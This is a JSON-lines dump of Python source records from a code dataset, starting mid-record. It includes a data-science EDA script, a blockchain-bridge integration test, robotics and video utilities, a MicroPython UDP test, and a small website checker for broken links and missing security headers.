np.iinfo(np.int16).max:\n\n                    df[col] = df[col].astype(np.int16)\n\n                elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n\n                    df[col] = df[col].astype(np.int32)\n\n                elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n\n                    df[col] = df[col].astype(np.int64)  \n\n            else:                                                     # manage columns of type float\n\n                if use_float16 and c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n\n                    df[col] = df[col].astype(np.float16)\n\n                elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n\n                    df[col] = df[col].astype(np.float32)\n\n                else:\n\n                    df[col] = df[col].astype(np.float64)\n\n        else:\n\n            df[col] = df[col].astype(\"category\")\n\n\n\n    end_mem = df.memory_usage().sum() / 1024**2\n\n    if log: print(\"Memory usage after optimization is: {:.2f} MB\".format(end_mem))\n\n    if log: print(\"Decreased by {:.1f}%\".format(100 * (start_mem - end_mem)/start_mem))\n\n    \n\n    return df\nstart = time()\n\n\n\nprint('Loading csvs \\n')\n\nbuilding      = pd.read_csv('../input/ashrae-energy-prediction/building_metadata.csv')\n\nweather_train = pd.read_csv('../input/ashrae-energy-prediction/weather_train.csv')\n\nweather_test  = pd.read_csv('../input/ashrae-energy-prediction/weather_test.csv')\n\ntrain         = pd.read_csv('../input/ashrae-energy-prediction/train.csv')\n\ntest          = pd.read_csv('../input/ashrae-energy-prediction/test.csv')\n\n\n\nprint('Reducing memory usage for train and test \\n')\n\ntrain = reduce_mem_usage(train, use_float16=True)\n\ntest = reduce_mem_usage(test, use_float16=True)\n\n\n\nprint('Merging train and test datasets with building dataset \\n')\n\ntrain = train.merge(building, on='building_id', how='left')\n\ntest = test.merge(building,   on='building_id', how='left')\n\n\n\nprint('Merging train and test datasets with weather dataset \\n')\n\ntrain = train.merge(weather_train, on=['site_id', 'timestamp'], how='left')\n\ntest = test.merge(weather_test,    on=['site_id', 'timestamp'], how='left')\n\n\n\nprint('gc \\n')\n\ndel weather_train, weather_test, building\n\ngc.collect()\n\n\n\nprint(round(time()-start, 1), ' seconds elapsed')\ntrain_small = train.sample(int(1e5))\n\ntest_small = test.sample(int(1e5))\npandas_profiling.ProfileReport(train_small)\npandas_profiling.ProfileReport(test_small)","repo_name":"aorursy/new-nb-5","sub_path":"pednt9_express-comprehensive-eda.py","file_name":"pednt9_express-comprehensive-eda.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6549956725","text":"#!/usr/bin/env python\n# -*-coding:utf-8 -*-\n\nimport os\nimport subprocess\n# os.system(\"ps -ef\")\nimport time\nimport signal\nimport json\n\n\ndef parseResult(lines):\n    for line in lines:\n        line = line.decode('utf8').strip()\n        # print(line, line.startswith(\"result: \"))\n        if line.startswith(\"result: \"):\n            return json.loads(line.replace(\"result: \", \"\"))\n    return None\n\n\ndef writeCfg(filename, content):\n    f = open(filename, 'w+')\n    f.write(json.dumps(content))\n    f.close()\n\n\ndef blockRun(cmd, cwd):\n    runFp = subprocess.Popen([\"/bin/bash\", \"-c\", cmd],\n                             shell=False,\n                             stdout=subprocess.PIPE,\n                             cwd=cwd)\n    runFp.wait()\n    runResult = parseResult(runFp.stdout.readlines())\n    assert runResult is not None\n    return runResult\n\n\ndef backgroundRunRelay(index, submitted):\n    log = open(\"testing-integration/data.\" + str(index) + \"/stdout\", \"wb\")\n    runFp = subprocess.Popen(\n        [\"/bin/bash\", \"-c\", \"npx ts-node scripts/workflow_with_test.ts\"],\n        shell=False,\n        stdout=log,\n        stderr=subprocess.STDOUT,\n        cwd=\"./relay-viteth\",\n        env={\n            **os.environ.copy(), 'WALLET_INDEX': str(index),\n            'DATA_DIR': \"../testing-integration/data.\" + str(index),\n            'ETH_SUBMIT': str(submitted)\n        })\n    return runFp\n\n\nethNode = subprocess.Popen([\"/bin/bash\", \"-c\", \"npx hardhat node\"],\n                           shell=False,\n                           stdout=subprocess.DEVNULL,\n                           stderr=subprocess.STDOUT,\n                           cwd=\"./bridge-eth\")\nprint(\"ether node started.\")\nviteNode = subprocess.Popen([\"/bin/bash\", \"-c\", \"npx vuilder node\"],\n                            shell=False,\n                            stdout=subprocess.DEVNULL,\n                            stderr=subprocess.STDOUT,\n                            cwd=\"./bridge-vite\")\n\nprint(\"vite node started.\")\ntime.sleep(3)\ndeployEthResult = blockRun(\"npx hardhat run scripts_test/1deploy_with_test.js\",\n                           \"./bridge-eth\")\nprint(\"ether contract deployed.\")\n\nwriteCfg(\n    './bridge-vite/scripts/channel.config.json', {\n        'inputHash': deployEthResult['channelOutputHash'],\n        'outputHash': deployEthResult['channelInputHash'],\n    })\n\ndeployViteResult = blockRun(\"npx ts-node scripts/1deploy_with_test.ts\",\n                            \"./bridge-vite\")\n\nprint(\"vite contract deployed.\")\n\nwriteCfg(\n    './relay-viteth/scripts/channel.config.json', {\n        \"ethChannelAddress\": deployEthResult[\"vault\"],\n        \"ethKeeperAddress\": deployEthResult[\"keeper\"],\n        \"viteChannelAddress\": deployViteResult[\"vault\"]\n    })\n\nwriteCfg(\n    './bridge-eth/scripts_test/0contract_config.json', {\n        \"vault\": deployEthResult[\"vault\"],\n        \"erc20\": deployEthResult[\"erc20\"],\n        \"channelId\": deployEthResult[\"channelId\"]\n    })\n\nblockRun(\"npx hardhat run scripts_test/2channel_input.js\", \"./bridge-eth\")\nprint(\"ether input done.\")\nblockRun(\"npx hardhat run scripts_test/3ether_height.js\", \"./bridge-eth\")\n\nwriteCfg(\"./bridge-vite/scripts/contract.config.json\", {\n    \"vault\": deployViteResult[\"vault\"],\n    \"channelId\": deployViteResult[\"channelId\"]\n})\n\nblockRun(\"npx ts-node scripts/2input_with_test.ts\", \"./bridge-vite\")\nprint(\"vite input done.\")\n\nprint(\"relay 0 run\")\nfp0 = backgroundRunRelay(\n    0,\n    1,\n)\nprint(\"relay 1 run\")\nfp1 = backgroundRunRelay(1, 0)\nprint(\"relay 2 run\")\nfp2 = backgroundRunRelay(2, 0)\n\nviteOk = False\netherOk = False\nwhile True:\n    if not viteOk:\n        viteOutput = blockRun(\"npx ts-node scripts/3output_query.ts\",\n                              \"./bridge-vite\")\n        if viteOutput[\"outputId\"] == \"1\":\n            print(\"ether -> vite done.\")\n            viteOk = True\n    if not etherOk:\n        etherOutput = blockRun(\n            \"npx hardhat run scripts_test/4channel_output_query.js\",\n            \"./bridge-eth\")\n        if etherOutput[\"outputId\"] == \"1\":\n            print(\"vite -> ether done.\")\n            etherOk = True\n    if viteOk and etherOk:\n        break\n    time.sleep(3)\n\nfp0.terminate()\nfp1.terminate()\nfp2.terminate()\n\nfp0.wait()\nfp1.wait()\nfp2.wait()\n\nethNode.terminate()\nviteNode.terminate()\nethNode.wait()\nviteNode.wait()\n","repo_name":"vitelabs/vite-asset-bridge","sub_path":"testing-integration/bridge.test.py","file_name":"bridge.test.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"21398041103","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\n\nclass SentenceFeaturizer(object):\n    def __init__(self, opts, dictionary = None):\n        self.opts = opts\n        self.load_dictionary(dictionary)\n        if self.opts.get('egocentric_coordinates'):\n            assert(opts.get('visible_range') is not None)\n\n    def load_dictionary(self, dictionary):\n        self.dictionary = dictionary\n        if not (self.opts.get('separate_loc')):\n            self.adjust_dictionary()\n\n    def adjust_dictionary(self):\n        if self.dictionary is None:\n            return\n        if self.opts.get('egocentric_coordinates'):\n            vrange = self.opts['visible_range']\n            for s in range(-vrange+1,vrange):\n                for t in range(-vrange+1,vrange):\n                    w = 'rx' + str(s) + 'y' + str(t)\n                    self.dictionary['ivocab'].append(w)\n                    self.dictionary['vocab'][w] = len(self.dictionary['ivocab']) - 1\n\n    def to_sentence_item(self, item, agent_loc = None):\n        if item.attr.get('_invisible'):\n            return None\n        s = []\n        item_loc = item.attr.get('loc')\n        if item_loc is None:\n            if self.opts.get('separate_loc'):\n                # TODO: handle it correctly\n                return None\n        else:\n            if self.opts.get('egocentric_coordinates'):\n                loc = (item_loc[0]-agent_loc[0], item_loc[1]-agent_loc[1])\n                if abs(loc[0]) < self.opts['visible_range'] and abs(loc[1]) < self.opts['visible_range']:\n                    if self.opts.get('separate_loc'):\n                        item_loc = (loc[0] + self.opts['visible_range'] - 1,\n                                    loc[1] + self.opts['visible_range'] - 1)\n                    else:\n                        s.append('rx' + str(loc[0]) + 'y' + str(loc[1]))\n                else:\n                    return None\n            elif not self.opts.get('separate_loc'):\n                s.append('ax' + str(item_loc[0]) + 'y' + str(item_loc[1]))\n        for i in item.attr:\n            if i == 'loc':\n                continue\n            elif i[0] != '_':\n                if i[0] != '@':\n                    # flag\n                    s.append(i)\n                else:\n                    # categorial\n                    s.append(item.attr[i])\n        if self.opts.get('separate_loc'):\n            return (s, item_loc)\n        else:\n            return s\n\n    def to_sentence(self, game, agent = None):\n        if agent is not None:\n            agent_loc = agent.attr['loc']\n        else:\n            agent_loc = None\n        s = []\n        for i in game.items:\n            w = self.to_sentence_item(i, agent_loc)\n            if w is not None:\n                s.append(w)\n        return s\n\n    def featurize(self, game):\n        return self.to_sentence(game, agent = game.agent)\n\n\nif __name__ == '__main__':\n    import mazebase.goto as goto\n    import mazebase.switches as switches\n    import mazebase.game_factory as gf\n\n    games = {}\n    opts = {}\n    opts['featurizer'] = {}\n#    opts['featurizer']['abs_loc_vocab'] = True\n    shared_static_opts = {}\n    shared_static_opts['step_cost'] = -.1\n    shared_static_opts['water_cost'] = -.2\n\n    #####################################\n    # goto:\n    go_dict = {}\n    for i in shared_static_opts:\n        go_dict[i] = shared_static_opts[i]\n    go_dict['fixed_goal'] = True\n    go_dict['map_width'] = [5, 10, 5, 10, 1]\n    go_dict['map_height'] = [5, 10, 5, 10, 1]\n    go_dict['nblocks'] = [1, 5, 1, 5, 1]\n    go_dict['nwater'] = [1, 5, 1, 5, 1]\n    goto_opts = {'game_opts': gf.opts_from_dict(go_dict),\n                'featurizer': opts['featurizer']}\n    opts['goto'] = goto_opts\n    games['goto'] = goto\n\n    #####################################\n    # switches:\n    go_dict = {}\n    for i in shared_static_opts:\n        go_dict[i] = shared_static_opts[i]\n    go_dict['map_width'] = [5, 10, 5, 10, 1]\n    go_dict['map_height'] = [5, 10, 5, 10, 1]\n    go_dict['nblocks'] = [1, 5, 1, 5, 1]\n    go_dict['nwater'] = [1, 5, 1, 5, 1]\n    go_dict['nswitches'] = [3, 5, 3, 5, 1]\n    go_dict['ncolors'] = [3, 3, 3, 3, 0]\n\n    switches_opts = {'game_opts': gf.opts_from_dict(go_dict),\n                'featurizer': opts['featurizer']}\n    opts['switches'] = switches_opts\n    games['switches'] = switches\n\n\n    ######################################\n    F = goto.Factory('goto', opts['goto'], goto.Game)\n    F += switches.Factory('switches', opts['switches'],\n                          switches.Game)\n\n    featurizer_opts = {'egocentric_coordinates': True, 'visible_range': 5}\n    SF = SentenceFeaturizer(featurizer_opts, F.dictionary)\n    g = F.init_random_game()\n    print(SF.to_sentence(g, g.agent))\n","repo_name":"tesatory/mazebase","sub_path":"mazebase/featurizer.py","file_name":"featurizer.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"38313933940","text":"import requests\n\nurl = 'http://localhost:9696/predict'\n\ncustomer = {\n    \"income\": 0.8,\n    \"name_email_similarity\": 0.1117106829885132,\n    \"prev_address_months_count\": -1,\n    \"current_address_months_count\": 350,\n    \"customer_age\": 30,\n    \"days_since_request\": 0.0066701837308879,\n    \"intended_balcon_amount\": -0.6745417333311727,\n    \"payment_type\": \"AD\",\n    \"zip_count_4w\": 1280,\n    \"velocity_6h\": 8156.887604248211,\n    \"velocity_24h\": 5418.824044563015,\n    \"velocity_4w\": 5077.1695244916245,\n    \"bank_branch_count_8w\": 12,\n    \"date_of_birth_distinct_emails_4w\": 9,\n    \"employment_status\": \"CA\",\n    \"credit_risk_score\": 157,\n    \"email_is_free\": 0,\n    \"housing_status\": \"BA\",\n    \"phone_home_valid\": 0,\n    \"phone_mobile_valid\": 1,\n    \"bank_months_count\": 1,\n    \"has_other_cards\": 0,\n    \"proposed_credit_limit\": 200.0,\n    \"foreign_request\": 0,\n    \"source\": \"INTERNET\",\n    \"session_length_in_minutes\": 1.044920255755289,\n    \"device_os\": \"linux\",\n    \"keep_alive_session\": 1,\n    \"device_distinct_emails_8w\": 1,\n    \"month\": 4\n}\n\nresponse = requests.post(url, json=customer).json()\nprint(response)","repo_name":"RomuloPagnozzi/mlzoomcamp-project","sub_path":"predict-test.py","file_name":"predict-test.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35106555649","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\ndataset = np.load(\"CrossPly_delam_Z_Slice_results_all.npz\")\ndata = np.real(dataset['Result']) \n# dataset = np.load(\"Z_Slice_results_2.npz\")\n# data2 = np.real(dataset['Result'])\n# dataset = np.load(\"Z_Slice_results_3.npz\")\n# data3 = np.real(dataset['Result'])  \n\n\nmx = .99*data.max()\nmn = .99*data.min()\n\nfig = plt.figure()\n\n\n# ims is a list of lists, each row is a list of artists to draw in the\n# current frame; here we are just animating one artist, the image, in\n# each frame\nims = []\nfor i in range(data.shape[2]):\n    im = plt.imshow(data[:,:,i], interpolation='none', animated=True)\n    plt.clim([mn, mx])\n    plt.axis('off')\n    ims.append([im])\n# for i in range(100):\n#     im = plt.imshow(data2[:,:,i], interpolation='none', animated=True)\n#     plt.clim([mn, mx])\n#     plt.axis('off')\n#     ims.append([im])\n# for i in range(60):\n#     im = plt.imshow(data3[:,:,i], interpolation='none', animated=True)\n#     plt.clim([mn, mx])\n#     plt.axis('off')\n#     ims.append([im])\nplt.colorbar()\nani = animation.ArtistAnimation(fig, ims, interval=50, blit=True,\n                                repeat_delay=1000)\n\nani.save('delam.mp4')\n\nplt.show()","repo_name":"nasa/swSim","sub_path":"testing/freqWavenumberPostProcessing/animator.py","file_name":"animator.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"71887478776","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May  9 09:26:27 2020\n\n@author: daniel\n\"\"\"\n\nimport numpy as np\nimport cv2\nfrom cv2 import VideoWriter_fourcc\n\n\ncap = cv2.VideoCapture('FisheyeCamera_2_out.avi')\n\n\n#===========================================================\n# 使用 XVID 編碼\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\n#fourcc = cv2.cv.CV_FOURCC('m', 'p', '4', 'v')\n# 建立 VideoWriter 物件，輸出影片至 output.avi\n# FPS 值為 20.0，解析度為 960*720\nout = cv2.VideoWriter('/home/daniel/test/output1.avi', fourcc, 10.0, (960, 720),True)\n#============================================================\nwhile(cap.isOpened()):\n    ret, frame = cap.read()\n    if ret==True:\n        #frame = cv2.flip(frame,0)\n        print(frame.shape)\n        #===============================\n        rows,cols,depth = frame.shape\n    \n        for i in range(rows):\n            for j in range(cols):\n                if (pow((i-360),2)+pow((j-480),2))>130000:\n                    frame[i,j,0]=0\n                    frame[i,j,1]=0\n                    frame[i,j,2]=0      \n        #===============================\n        # write the flipped frame\n        out.write(frame)\n\n        cv2.imshow('frame',frame)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n    else:\n        break\ncap.release()\nout.release()\ncv2.destroyAllWindows()\n\n#=============================\n","repo_name":"DanielChungYi/python_tools","sub_path":"opencv/draw_a_circle/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9236577998","text":"from typing import Optional\nfrom typing import Union\nfrom FslBuildGen import IOUtil\nfrom FslBuildGen.Log import Log\nfrom FslBuildGen.Vars.VariableProcessor import VariableProcessor\nfrom FslBuildGen.Xml.Project.XmlProjectRootConfigFile import XmlExperimentalDefaultThirdPartyInstallDirectory\nfrom FslBuildGen.Xml.Project.XmlProjectRootConfigFile import XmlExperimentalDefaultThirdPartyInstallReadonlyCacheDirectory\n\n\nclass ToolConfigExperimentalDefaultThirdPartyInstallDirectory(object):\n    def __init__(self, log: Log,\n                 basedUponXML: Optional[Union[XmlExperimentalDefaultThirdPartyInstallDirectory, XmlExperimentalDefaultThirdPartyInstallReadonlyCacheDirectory]],\n                 entryName: str, isReadonlyCache: bool) -> None:\n        super().__init__()\n\n        if basedUponXML is None:\n            raise Exception(\"No '{0}' was defined in the xml\".format(entryName))\n\n        self.__Log = log # type: Log\n        self.BasedOn = basedUponXML\n        self.Name = basedUponXML.Name  # type: str\n        self.DynamicName = basedUponXML.Name  # type: str\n        self.IsReadonlyCache = isReadonlyCache  # type: bool\n\n        variableProcessor = VariableProcessor(log)\n\n        # NOTE: workaround Union of tuples not being iterable bug in mypy https://github.com/python/mypy/issues/1575\n        tupleResult = variableProcessor.TryExtractLeadingEnvironmentVariableNameAndPath(self.DynamicName, False)\n        env = tupleResult[0]\n        remainingPath = tupleResult[1]\n        if env is None:\n            raise Exception(\"The {0} is expected to contain a environment variable '{1}'\".format(entryName, self.DynamicName))\n\n        resolvedPath = self.__GetEnvironmentVariable(env)\n\n        self.__EnvironmentVariableName = env  # type: str\n        self.BashName = '${0}{1}'.format(env, remainingPath)  # type: str\n        self.DosName = '%{0}%{1}'.format(env, remainingPath)  # type: str\n        self.ResolvedPath = IOUtil.ToUnixStylePath(resolvedPath)  # type: str\n        self.ResolvedPathEx = \"{0}/\".format(self.ResolvedPath) if len(self.ResolvedPath) > 0 else \"\"  # type: str\n\n\n    def __GetEnvironmentVariable(self, name: str) -> str:\n        # For cache entries we allow the variable to not be defined, but if it is defned we retrieve is as normal\n        value = IOUtil.TryGetEnvironmentVariable(name)\n        if value is None:\n            raise EnvironmentError(\"{0} environment variable not set\".format(name))\n\n        value = IOUtil.NormalizePath(value)\n        if value is None:\n            raise EnvironmentError(\"{0} environment variable not set\".format(name))\n\n        if not IOUtil.IsAbsolutePath(value):\n            raise EnvironmentError(\"{0} environment path '{1}' is not absolute\".format(name, value))\n\n        if value.endswith(\"/\"):\n            raise EnvironmentError(\"{0} environment path '{1}' not allowed to end with '/' or '\\'\".format(name, value))\n\n        # Create the directory if it didnt exist\n        if not IOUtil.IsDirectory(value) and not IOUtil.Exists(value):\n            self.__Log.LogPrint(\"The directory '{0}' did not exist, creating it\".format(value))\n            IOUtil.SafeMakeDirs(value)\n\n        if not IOUtil.IsDirectory(value):\n            raise EnvironmentError(\"The {0} environment variable content '{1}' does not point to a valid directory\".format(name, value))\n        return value\n\n\n    def TryGetEnvironmentVariableName(self) -> str:\n        return self.__EnvironmentVariableName\n","repo_name":"nxp-imx/gtec-demo-framework","sub_path":".Config/FslBuildGen/ToolConfigExperimentalDefaultThirdPartyInstallDirectory.py","file_name":"ToolConfigExperimentalDefaultThirdPartyInstallDirectory.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"22"}
+{"seq_id":"32474861399","text":"# Simple test of a UDP server and client transferring data\n\nimport socket\n\nNUM_NEW_SOCKETS = 4\nNUM_TRANSFERS = 10\nTOTAL_PACKETS = NUM_NEW_SOCKETS * NUM_TRANSFERS\n# If more than 75% of packets are lost, the test fails.\nPACKET_LOSS_THRESH = 0.75 * TOTAL_PACKETS\nPORT = 8000\n\n\ndef print_stats(seq):\n    if (TOTAL_PACKETS - seq) > PACKET_LOSS_THRESH:\n        print(\n            \"packet loss %.1f%% %d/%d\"\n            % (((TOTAL_PACKETS - seq) / TOTAL_PACKETS * 100), seq, TOTAL_PACKETS)\n        )\n    else:\n        print(\"pass\")\n\n\n# Server\ndef instance0():\n    seq = 0\n    multitest.globals(IP=multitest.get_network_ip())\n    multitest.next()\n    for i in range(NUM_NEW_SOCKETS):\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        s.bind(socket.getaddrinfo(\"0.0.0.0\", PORT + i)[0][-1])\n        s.settimeout(0.250)\n        multitest.broadcast(\"server ready\")\n        for j in range(NUM_TRANSFERS):\n            try:\n                data, addr = s.recvfrom(1000)\n            except:\n                continue\n            if int(data) == seq:\n                if seq < (TOTAL_PACKETS - PACKET_LOSS_THRESH):\n                    print(seq)\n                seq += 1\n                s.sendto(b\"%d\" % (seq), addr)\n        s.close()\n\n    print_stats(seq)\n\n\n# Client\ndef instance1():\n    seq = 0\n    multitest.next()\n    for i in range(NUM_NEW_SOCKETS):\n        ai = socket.getaddrinfo(IP, PORT + i)[0][-1]\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.settimeout(0.250)\n        multitest.wait(\"server ready\")\n        for j in range(NUM_TRANSFERS):\n            s.sendto(b\"%d\" % (seq), ai)\n            try:\n                data, addr = s.recvfrom(1000)\n            except:\n                continue\n            if int(data) == seq + 1:\n                if seq < (TOTAL_PACKETS - PACKET_LOSS_THRESH):\n                    print(seq)\n                seq += 1\n        s.close()\n\n    print_stats(seq)\n","repo_name":"micropython/micropython","sub_path":"tests/multi_net/udp_data.py","file_name":"udp_data.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":17509,"dataset":"github-code","pt":"22"}
+{"seq_id":"41091886181","text":"import requests\nimport concurrent\nfrom concurrent.futures import ThreadPoolExecutor\nfrom urllib.parse import urljoin\nfrom bs4 import BeautifulSoup\nfrom collections import deque\n\ndef scan_broken_links(url):\n    try:\n        resp=[]\n        all_links = get_all_links(url)\n        with ThreadPoolExecutor(max_workers=100) as executor:\n            futures = {executor.submit(check_link_status, link, resp): link for link in all_links}\n            concurrent.futures.wait(futures)\n        return resp\n    except:\n        return \"Something went wrong\"\n\nparent_dict = {}\ndef get_all_links(url):\n\n    actual_domain = get_host__domain(url)\n    all_links = set()\n    queue_links = deque([])\n    visited = set()\n\n    all_links.add(url)\n    queue_links.append(url)\n\n    while queue_links:\n        url = queue_links.popleft()\n        if url.endswith('/'):\n            url = url[:-1]\n        if url not in visited and get_host__domain(url) == actual_domain:\n            response = requests.get(url,timeout=5)\n            if not response.status_code == 200:\n                all_links.add(url)\n                visited.add(url)\n                continue\n            soup = BeautifulSoup(response.text, 'html.parser',from_encoding=\"iso-8859-1\")\n            for anchor in soup.find_all('a'):\n                href = anchor.get('href')\n                if href and not (href.startswith(\"mailto:\") or href.startswith(\"javascript:\") or href.startswith('tel') or href.startswith('/#') or href.startswith('#')):\n                    absolute_url = href\n                    if not (absolute_url.startswith(\"http\") or absolute_url.startswith(\"https\")):\n                        absolute_url = urljoin(url, href)\n                    if absolute_url.endswith('/'):\n                        absolute_url = absolute_url[:-1]\n                    if absolute_url not in parent_dict:\n                        parent_dict[absolute_url] = set()\n                    parent_dict[absolute_url].add(url)\n                    all_links.add(absolute_url)\n                    queue_links.append(absolute_url)\n        visited.add(url)\n    return all_links\n\ndef check_link_status(link, resp):\n    try:\n        response = requests.get(link, timeout=2)\n        if response.status_code != 200:\n            resp.append({\"severity\": \"Info\", \"target_url\": parent_dict[link], \"title\": \"Broken Links\", \"method\": \"GET\",\n                        \"vulnerable_url\": link, \"description\": \"Invalid URL with status code {}\".format(response.status_code)})\n            return False\n        return True\n    except:\n        resp.append({\"severity\": \"Info\", \"target_url\": parent_dict[link], \"title\": \"Broken Links\",\n                    \"method\": \"GET\", \"vulnerable_url\": link, \"description\": \"Invalid URL\"})\n        return False\n\ndef get_host__domain(url):\n    Domain_name = ''\n    x = url.split(\"/\")\n    if (x[0] == \"https:\" or x[0] == \"http:\"):\n        x = x[2].split(\".\")\n    else:\n        x = x[0].split(\".\")\n    if (len(x) == 2):\n        Domain_name = x[0]\n    else:\n        Domain_name = x[1]\n    return Domain_name\n\ndef check_security_headers(url):\n    try:\n        resp=[]\n        response = requests.get(url)\n        headers = response.headers\n        security_headers = [\n            \"Strict-Transport-Security\",\n            \"Content-Security-Policy\",\n            \"X-Content-Type-Options\",\n            \"X-Frame-Options\",\n            \"X-XSS-Protection\",\n            \"Referrer-Policy\",\n        ]\n        for header in security_headers:\n            if not header in headers:\n                resp.append({'severity': 'Low', 'target_url': url, 'vulnerable_url': '', 'title': 'Security headers',\n                            'method': 'GET', 'description': '{} is not present.'.format(header)})\n        return resp\n    except:\n        return 'Website is Down'","repo_name":"a7coder/Basic-vul-checker","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4823116693","text":"import rospy\nimport baxter_interface\nimport baxter_external_devices\nimport robot_utils\nfrom robot_utils import Side\nfrom baxter_button import BaxterButton\nfrom baxter_interface import CHECK_VERSION\n\nclass BaxterGripper(object):\n\n    def __init__(self, side):\n        robot_utils.ensure_robot_enabled()\n\n        if side != Side.LEFT and side != Side.RIGHT:\n            side = Side.LEFT\n\n        self.DashButton = BaxterButton('%s_upper_button' %(side))\n        self.DotButton =  BaxterButton('%s_lower_button' %(side))\n\n        self._gripper = baxter_interface.Gripper(side, CHECK_VERSION)\n        self._ensure_gripper_calibration()\n\n    def get_current_position(self):\n        return self._gripper.position()\n\n    def set_position(self, position):\n        if position > 100 or position < 0:\n            rospy.logerror(\"BaxterArms.set_position(...) -- Invalid position arg; must be between 0 and 100\")\n            return\n        \n        if self._gripper.type() != 'electric':\n            _capability_warning(self._gripper, 'command_position')\n            return\n        \n        # Emprical: grippers seem to require a really high tolerance even immediatly after calibration. \n        # I've decided to use 3/100 here.\n        gripper_tolerance = 3\n\n        control_rate = rospy.Rate(100)\n        while (not rospy.is_shutdown() and not (abs(self.get_current_position() - position) <= 5)):\n            self._gripper.command_position(position)\n            control_rate.sleep()\n\n    def open(self):\n        self.set_position(100)\n\n    def close(self):\n        self.set_position(0)\n\n    def set_speed(self, speed):\n        if speed > 100 or speed < 0:\n            rospy.logerror(\"BaxterArms.set_speed(...) -- Invalid speed arg; must be between 0 and 100\")\n            return\n\n        if self._gripper.type() != 'electric':\n            _capability_warning(self._gripper, 'command_position')\n            return\n\n        self._gripper.set_velocity(speed)\n    \n    def set_holding_force(self, force):\n        if speed > 100 or speed < 0:\n            rospy.logerror(\"BaxterArms.set_holding_force(...) -- Invalid force arg; must be between 0 and 100\")\n            return\n        \n        if self._gripper.type() != 'electric':\n            _capability_warning(self._gripper, 'command_position')\n            return\n        \n        self._gripper.set_holding_force(speed)\n\n    def _ensure_gripper_calibration(self):\n        if not (self._gripper.calibrated() or self._gripper.calibrate() == True):\n            rospy.logwarn(\"%s (%s) calibration failed.\", self._gripper.name.capitalize(), self._gripper.type())\n\n    def _capability_warning(self, gripper, cmd):\n        msg = (\"%s %s - not capable of '%s' command\" %(gripper.name, self._gripper.type(), cmd))\n        rospy.logwarn(msg)\n","repo_name":"devlaf/baxter-playground","sub_path":"baxter_libs/baxter_gripper.py","file_name":"baxter_gripper.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7729691191","text":"from django import test\nfrom django.conf import settings\n\nfrom app.lib import loaders\nfrom app.models import *\n\n\nclass VulnerabilityLoaderTestCase(test.TestCase):\n    def setUp(self):\n        self.loader = loaders.VulnerabilityLoader(settings, num_processes=2)\n\n    def test_load(self):\n        # Vulnerability\n        expected = [\n                ('CVE-2016-5165', 'blog'),\n                ('CVE-2016-2845', 'manual'),\n                ('CVE-2013-0908', 'manual')\n            ]\n\n        actual = self.loader.load()\n        self.assertEqual(len(expected), actual, msg='Return')\n\n        actual = list(Vulnerability.objects.values_list('id', 'source'))\n        self.assertCountEqual(expected, actual, msg='Data: Vulnerability')\n\n        # Bug\n        expected = [\n                (618037, 'Bug-Security', 'Redacted'),\n                (542060, 'Bug-Security', 'Redacted'),\n                (174059, 'Bug-Security', 'Redacted')\n            ]\n        actual = list(Bug.objects.values_list('id', 'type', 'status'))\n        self.assertCountEqual(expected, actual, msg='Data: Bug')\n\n        # Vulnerability to Bug Mapping\n        expected = [\n                ('CVE-2016-5165', 618037),\n                ('CVE-2016-2845', 542060),\n                ('CVE-2013-0908', 174059)\n            ]\n        actual = list(VulnerabilityBug.objects.values_list(\n                'vulnerability_id', 'bug_id'\n            ))\n        self.assertCountEqual(expected, actual, msg='Data: VulnerabilityBug')\n","repo_name":"andymeneely/sira-nlp","sub_path":"app/tests/lib/loaders/test_vulnerability.py","file_name":"test_vulnerability.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
